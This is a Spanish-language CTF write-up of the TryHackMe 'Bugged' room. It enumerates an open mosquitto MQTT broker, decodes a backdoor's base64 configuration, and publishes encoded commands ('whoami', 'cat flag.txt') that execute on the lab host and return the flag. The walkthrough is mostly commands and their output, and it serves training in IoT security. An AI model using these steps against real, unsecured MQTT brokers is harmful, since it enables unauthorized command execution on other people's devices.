THM - Bugged writeup
En este CTF vamos a estar abusando de una mala configuración del software mosquitto, que está destinado a la comunicación entre dispositivos IoT.
índice
Nmap, Fuzzing y Reconocimiento
Como siempre, emepzamos con un descubrimiento de puertos port TCP.
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn -oG nmap/allPorts 10.10.244.194
# Nmap 7.93 scan initiated Sat Mar 11 17:52:31 2023 as: nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn -oG nmap/allPorts 10.10.244.194
# Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 10.10.244.194 () Status: Up
Host: 10.10.244.194 () Ports: 1883/open/tcp//mqtt/// Ignored State: closed (65534)
# Nmap done at Sat Mar 11 17:52:43 2023 -- 1 IP address (1 host up) scanned in 12.74 seconds
Podemos ver que la máquina solo tiene 1 puerto abierto (1883/mqtt), para asegurarnos vamos a lanzar el siguiente comando.
nmap -p1883 -sVC -oN nmap/targeted 10.10.244.194
# Nmap 7.93 scan initiated Sat Mar 11 17:54:04 2023 as: nmap -p1883 -sVC -oN nmap/targeted 10.10.244.194
Nmap scan report for 10.10.244.194 (10.10.244.194)
Host is up (0.047s latency).
PORT STATE SERVICE VERSION
1883/tcp open mosquitto version 2.0.14
| mqtt-subscribe:
| Topics and their most recent payloads:
| $SYS/broker/subscriptions/count: 3
| $SYS/broker/publish/bytes/sent: 390
| kitchen/toaster: {"id":7571962640059079665,"in_use":false,"temperature":144.43929,"toast_time":321}
| $SYS/broker/clients/active: 2
| $SYS/broker/messages/received: 223
| $SYS/broker/publish/messages/sent: 57
| $SYS/broker/bytes/sent: 3356
| $SYS/broker/bytes/received: 10507
| $SYS/broker/clients/maximum: 2
| $SYS/broker/load/publish/sent/1min: 26.50
| $SYS/broker/load/bytes/received/1min: 3853.07
| $SYS/broker/load/connections/1min: 1.93
| $SYS/broker/clients/total: 2
| $SYS/broker/load/messages/received/1min: 84.37
| $SYS/broker/publish/bytes/received: 7423
| $SYS/broker/load/bytes/received/15min: 645.65
| $SYS/broker/store/messages/count: 34
| $SYS/broker/uptime: 143 seconds
| $SYS/broker/load/sockets/1min: 1.93
| storage/thermostat: {"id":7861689936423236909,"temperature":23.638899}
| livingroom/speaker: {"id":15674606775832435694,"gain":57}
| patio/lights: {"id":515273552625597173,"color":"PURPLE","status":"OFF"}
| frontdeck/camera: {"id":12816531778830348846,"yaxis":-30.181854,"xaxis":34.7052,"zoom":0.6693781,"movement":false}
| $SYS/broker/version: mosquitto version 2.0.14
| $SYS/broker/load/messages/received/15min: 13.73
| $SYS/broker/retained messages/count: 36
| $SYS/broker/store/messages/bytes: 267
| $SYS/broker/load/bytes/sent/1min: 1454.10
| $SYS/broker/messages/stored: 34
| $SYS/broker/load/sockets/15min: 0.19
| $SYS/broker/load/connections/5min: 0.52
| $SYS/broker/load/connections/15min: 0.19
| $SYS/broker/messages/sent: 279
| $SYS/broker/load/publish/sent/5min: 5.69
| $SYS/broker/clients/connected: 2
| $SYS/broker/load/publish/sent/15min: 1.92
| $SYS/broker/load/messages/sent/5min: 41.05
| $SYS/broker/load/bytes/sent/15min: 135.94
| $SYS/broker/load/messages/sent/15min: 15.65
| $SYS/broker/load/messages/sent/1min: 110.87
| $SYS/broker/load/messages/received/5min: 35.35
| $SYS/broker/load/bytes/sent/5min: 381.52
| $SYS/broker/load/sockets/5min: 0.52
|_ $SYS/broker/load/bytes/received/5min: 1656.40
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Mar 11 17:54:16 2023 -- 1 IP address (1 host up) scanned in 12.51 seconds
Para entender qué es este output, primero tenemos que entender qué es el software mosquitto.
Que es mosquitto?
Mosquitto es un broker MQTT (Message Queuing Telemetry Transport) de código abierto que se utiliza para implementar la comunicación de dispositivos IoT. MQTT es un protocolo de mensajería ligero diseñado para facilitar la comunicación entre dispositivos IoT con ancho de banda limitado, alta latencia y requisitos de energía. Mosquitto implementa el protocolo MQTT y proporciona una plataforma de comunicación confiable y escalable para dispositivos IoT.
Algunas de las aplicaciones de Mosquitto son:
- Monitoreo remoto
- Automatización del hogar
- Control de maquinaria industrial
Para entender más afondo cómo funciona este protocolo puedes visitar la página de HackTricks.
Conectandonos a mosquitto
Para conectarnos a este servicio podemos usar múltiples herramientas, pero yo voy a estar utilizando python-mqtt-client-shell
.
Repositiorio de Github: https://github.com/bapowell/python-mqtt-client-shell
Antes de empezar quiero aclarar tres conceptos que son de vital importancia para resolver este CTF.
MQTT - Subscribe
MQTT Subscribe es una operación fundamental en MQTT que permite a los clientes recibir mensajes publicados en temas específicos y proporciona una forma flexible de enviar y recibir mensajes en sistemas IoT y M2M.
MQTT - Topics
Los MQTT Topics son aquellos temas a los que te puedes “suscribir”.
MQTT - Publish
MQTT Publish es una operación que se utiliza para publicar un mensaje en un tema. Al utilizar MQTT Publish, el cliente especifica el tema al que desea enviar el mensaje y proporciona el contenido del mensaje en formato de texto plano o binario. El servidor MQTT envía el mensaje a todos los clientes que estén suscritos al tema correspondiente.
Para conectarnos al servicio tenemos que seguir esta serie de comandos:
$~ python3 mqtt_client_shell.py
> connection
> host $IP_MAQUINA
> connect
Analizando paquetes
Lo que yo hice fue suscribirme a todos los temas/topics (subscribe #
) para ver el tráfico con wireshark y exportarlo a un archivo .pcapng el cual analizaremos con detenimiento.
Nos interesa saber cuales son los temas/topics a los que nos podemos suscribir, podemos aplicar filtros al archivo exportado con wireshark para verlo.
tshark -r cap.pcapng -Y mqtt -T json -e mqtt.topic | jq '.[]._source.layers[]' | tr -d '\[\]' | sort -u
RCE
Salta a la vista el tema .../config
, en el momento en el que nos suscribimos a este topic se nos empieza a llenar la pantalla de mensajes.
Nos llegan dos payloads, uno en base64 y otro en hexadecimal, los dos tienen el mismo contenido.
echo eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsInJlZ2lzdGVyZWRfY29tbWFuZHMiOlsiSEVMUCIsIkNNRCIsIlNZUyJdLCJwdWJfdG9waWMiOiJVNHZ5cU5sUXRmLzB2b3ptYVp5TFQvMTVIOVRGNkNIZy9wdWIiLCJzdWJfdG9waWMiOiJYRDJyZlI5QmV6L0dxTXBSU0VvYmgvVHZMUWVoTWcwRS9zdWIifQ== | base64 -d; echo
{"id":"cdd1b1c0-1c40-4b0f-8e22-61b357548b7d","registered_commands":["HELP","CMD","SYS"],"pub_topic":"U4vyqNlQtf/0vozmaZyLT/15H9TF6CHg/pub","sub_topic":"XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub"}
Antes de intentar enviar cualquier cosa a estos topics, tenemos que suscribirnos a estos por si nos llega algún mensaje.
> subscribe U4vyqNlQtf/0vozmaZyLT/15H9TF6CHg/pub
> subscribe XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub
Ahora sí, al intentar hacer un publish
al topic XD2rfR9Bez/GqMpRSEobh/TvLQehMg0E/sub
con el contenido hola
vemos el siguiente error.
echo SW52YWxpZCBtZXNzYWdlIGZvcm1hdC4KRm9ybWF0OiBiYXNlNjQoeyJpZCI6ICI8YmFja2Rvb3IgaWQ+IiwgImNtZCI6ICI8Y29tbWFuZD4iLCAiYXJnIjogIjxhcmd1bWVudD4ifSk= | base64 -d; echo
Invalid message format.
Format: base64({"id": "<backdoor id>", "cmd": "<command>", "arg": "<argument>"})
Viendo el output llegamos a la conclusión que ya tenemos una via potencial de ejecutar comandos en la máquina, solo hay que enviar lo que queremos ejecutar con el formato correcto.
id: cdd1b1c0-1c40-4b0f-8e22-61b357548b7d
cmd: CMD
arg: whoami
echo '{"id":"cdd1b1c0-1c40-4b0f-8e22-61b357548b7d", "cmd":"CMD", "arg":"whoami"}' | base64 -w 0; echo
eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsICJjbWQiOiJDTUQiLCAiYXJnIjoid2hvYW1pIn0K
Cuando le hacemos un base64 decode al payload que hemos recibido vemos lo siguiente:
echo eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsInJlc3BvbnNlIjoiY2hhbGxlbmdlXG4ifQ== | base64 -d; echo
{"id":"cdd1b1c0-1c40-4b0f-8e22-61b357548b7d","response":"challenge\n"}
Flag
$~ echo '{"id":"cdd1b1c0-1c40-4b0f-8e22-61b357548b7d", "cmd":"CMD", "arg":"cat flag.txt"}' | base64 -w 0; echo
eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsICJjbWQiOiJDTUQiLCAiYXJnIjoiY2F0IGZsYWcudHh0In0K
$~ echo eyJpZCI6ImNkZDFiMWMwLTFjNDAtNGIwZi04ZTIyLTYxYjM1NzU0OGI3ZCIsInJlc3BvbnNlIjoiZmxhZ3sxOGQ0NGZjMDcwN2FjOGRjOGJlNDViYjgzZGI1NDAxM31cbiJ9 |base64 -d
{"id":"cdd1b1c0-1c40-4b0f-8e22-61b357548b7d","response":"flag{XXX}\n"}